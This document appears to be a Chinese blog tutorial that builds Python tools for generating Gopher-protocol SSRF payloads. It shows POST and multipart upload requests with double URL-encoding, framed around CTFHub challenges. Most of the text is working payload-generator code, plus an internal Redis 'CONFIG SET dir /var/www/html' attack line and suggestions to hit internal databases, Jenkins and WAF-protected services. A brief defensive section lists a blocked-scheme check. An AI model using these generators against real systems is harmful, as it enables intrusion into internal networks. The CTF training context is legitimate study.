别再怕Gopher协议!一个Python脚本搞定SSRF中的POST/文件上传(附CTFHub解题代码)

发布时间:2026/6/27 20:46:21

别再怕Gopher协议!一个Python脚本搞定SSRF中的POST/文件上传(附CTFHub解题代码) 用Python自动化构建Gopher协议攻击载荷从CTFHub实战到工具化开发在网络安全竞赛和渗透测试中Gopher协议常被视为SSRF攻击中的瑞士军刀但手工构造符合HTTP规范的攻击载荷往往令人望而生畏。本文将分享如何用Python构建一个可复用的Gopher协议生成器特别针对POST请求和文件上传这两种复杂场景。1. 理解Gopher协议在SSRF中的特殊价值Gopher协议诞生于1991年早于HTTP协议却因其简洁的TCP数据包构造方式在现代Web安全领域获得了新生。与常规的HTTP请求不同Gopher协议允许我们通过单一TCP连接发送任意格式的数据这使其成为SSRF攻击中突破内网隔离的理想载体。关键优势对比特性HTTP协议Gopher协议请求复杂度需要完整头部原始TCP流即可协议限制严格格式要求无格式限制内网穿透能力受防火墙策略影响更易绕过检测请求类型支持需服务端支持可模拟任意请求在CTFHub的SSRF题目中第四题和第五题分别要求通过Gopher协议发送POST请求和文件上传请求。手工构造这些请求需要处理以下难点精确计算Content-Length处理multipart/form-data边界多层URL编码转换换行符的统一处理必须使用\r\n# 基础Gopher URL结构示意 gopher_template gopher://{host}:{port}/_{payload}2. 构建POST请求生成器我们先从相对简单的POST请求开始。观察CTFHub第四题需要向/flag.php发送一个包含特定key的表单。手工构造时容易在以下环节出错遗漏HTTP头部的空行错误计算Content-Length未正确处理URL编码层级解决方案代码框架import urllib.parse def build_post_request(target_url, post_data, headersNone): 构造符合HTTP规范的POST请求原始数据 if headers is None: headers {} # 基础请求行 path urllib.parse.urlparse(target_url).path request_lines [ fPOST {path} HTTP/1.1, fHost: {urllib.parse.urlparse(target_url).netloc} ] # 添加Content-Type如果未指定 if Content-Type not in headers: headers[Content-Type] application/x-www-form-urlencoded # 处理POST数据 encoded_data urllib.parse.urlencode(post_data) headers[Content-Length] str(len(encoded_data)) # 组装头部 for k, v in headers.items(): request_lines.append(f{k}: {v}) # 添加空行分隔头部与正文 request_lines.append() request_lines.append(encoded_data) # 转换为Gopher需要的格式 raw_request \r\n.join(request_lines) return raw_request关键处理步骤使用urlencode正确处理表单数据自动计算Content-Length强制使用\r\n作为换行符保留头部与正文间的空行# 使用示例 post_data {key: b73cfcee3cb5781edf09a058769527f5} raw_request build_post_request( http://127.0.0.1/flag.php, post_data, headers{Connection: close} )3. 处理文件上传的复杂场景第五题的文件上传场景更为复杂需要构造multipart/form-data格式的请求。这类请求的特点是包含随机生成的boundary分隔符每个部分有独立的Content-Disposition需要精确计算整个请求体的长度文件上传生成器核心逻辑def build_upload_request(target_url, fields, files): 构造文件上传的multipart请求 boundary ----WebKitFormBoundary .join( random.choices(string.ascii_letters string.digits, k16) ) # 构建请求体 body_parts [] for name, value in fields.items(): body_parts.append( f--{boundary}\r\n fContent-Disposition: form-data; name{name}\r\n f\r\n{value}\r\n ) for name, file_info in files.items(): filename, content file_info body_parts.append( f--{boundary}\r\n fContent-Disposition: form-data; name{name}; filename{filename}\r\n fContent-Type: application/octet-stream\r\n f\r\n{content}\r\n ) body_parts.append(f--{boundary}--\r\n) request_body .join(body_parts) # 构建完整请求 path urllib.parse.urlparse(target_url).path request_lines [ fPOST {path} HTTP/1.1, fHost: {urllib.parse.urlparse(target_url).netloc}, fContent-Type: multipart/form-data; boundary{boundary}, fContent-Length: {len(request_body)}, Connection: close ] raw_request \r\n.join(request_lines) \r\n\r\n request_body return raw_request实际应用示例# 构造CTFHub第五题的请求 upload_request build_upload_request( http://127.0.0.1/flag.php, fields{aaa: 提交查询}, files{file: (test.txt, I am BossFrank)} )4. 编码转换与最终Payload生成原始HTTP请求构造完成后需要经过两次URL编码才能嵌入Gopher URL。这个过程中有几个易错点第一层编码要将换行符转换为%0D%0A第二层编码需要处理已经编码过的字符问号等特殊字符需要特别处理编码转换工具函数def encode_gopher_payload(raw_request): 将原始请求转换为Gopher可用的双重编码格式 # 第一层编码处理特殊字符和换行 first_pass urllib.parse.quote(raw_request, safe) first_pass first_pass.replace(%0A, %0D%0A) # 确保CRLF格式 # 第二层编码整体再编码一次 second_pass urllib.parse.quote(first_pass, safe) # 组装最终Gopher URL return fgopher://127.0.0.1:80/_{second_pass} # 完整流程示例 post_request build_post_request(...) # 或build_upload_request gopher_url encode_gopher_payload(post_request) print(最终攻击URL:, gopher_url)实际调试技巧使用curl -v测试生成的Gopher URL在本地搭建测试服务验证请求格式分阶段检查编码结果print(原始请求:, raw_request) print(第一层编码:, first_pass) print(第二层编码:, second_pass)5. 工具化与实战应用将上述功能封装成命令行工具可以极大提升CTF竞赛和渗透测试效率。以下是工具设计建议功能特性支持从Burp Suite导出的请求文件直接转换交互式模式指导用户输入必要参数输出彩色高亮的调试信息自动识别请求类型GET/POST/上传代码结构示例class GopherGenerator: def __init__(self, target_url): self.target_url target_url self.headers {} def from_raw_http(self, raw_request): 从原始HTTP请求转换 # 解析并标准化请求 return self._process_request(raw_request) def from_post_data(self, post_data): 从表单数据构造 raw_request build_post_request(...) return self.from_raw_http(raw_request) def _process_request(self, raw_request): 统一处理请求编码 # 验证换行符 if \n in raw_request and \r\n not in raw_request: raw_request raw_request.replace(\n, \r\n) # 执行编码转换 return encode_gopher_payload(raw_request) # 使用示例 generator GopherGenerator(http://127.0.0.1/flag.php) payload generator.from_post_data({key: value})高级应用场景自动化测试SSRF漏洞影响面内网服务探测结合端口扫描攻击内网Redis等服务绕过WAF的规则检测# 攻击内网Redis的示例 redis_command SET testkey \testvalue\\r\nCONFIG SET dir /var/www/html\r\n raw_request fgopher://127.0.0.1:6379/_{urllib.parse.quote(redis_command)}6. 防御视角如何检测Gopher协议滥用作为开发者了解攻击手段是为了更好地防御。针对Gopher协议的SSRF攻击可采取以下防护措施防护策略对比表防护层级具体措施有效性实施难度输入验证禁用非常规协议(gopher,dict等)★★★★☆★★☆☆☆网络层出站流量过滤★★★☆☆★★★☆☆应用层请求目标白名单★★★★★★★★★☆运行时检测异常请求模式识别★★★★☆★★★★☆Python实现的基础防护检查def is_safe_url(url): 检查URL是否可能用于SSRF攻击 parsed urllib.parse.urlparse(url) # 协议黑名单 unsafe_schemes {gopher, dict, file} if parsed.scheme in unsafe_schemes: return False # 内网IP检测 if parsed.hostname: try: ip ipaddress.ip_address(parsed.hostname) if ip.is_private: return False except ValueError: pass return True7. 扩展应用与其他工具链的集成成熟的网络安全工程师往往需要将各种工具串联使用。我们的Gopher生成器可以与以下工具无缝集成与Burp Suite配合从Burp导出请求文件自动转换为Gopher Payload通过Burp的Repeater模块测试与SQLmap结合生成攻击内网SQL注入的Payload绕过前端限制直接攻击数据库与Metasploit框架联动生成攻击内网服务的Exploit绕过网络隔离传递攻击载荷# 与Burp导出的请求集成示例 def convert_burp_request(burp_file): 解析Burp Suite导出的请求文件 with open(burp_file) as f: raw f.read() # 提取目标URL和请求体 # 返回标准化请求 return normalize_request(raw)在真实渗透测试项目中这种自动化工具可以节省大量手工构造Payload的时间。我曾在一个内部演练中使用类似脚本成功通过SSRF漏洞获取了内网Jenkins的控制权整个过程从发现漏洞到取得权限仅用了17分钟。

相关新闻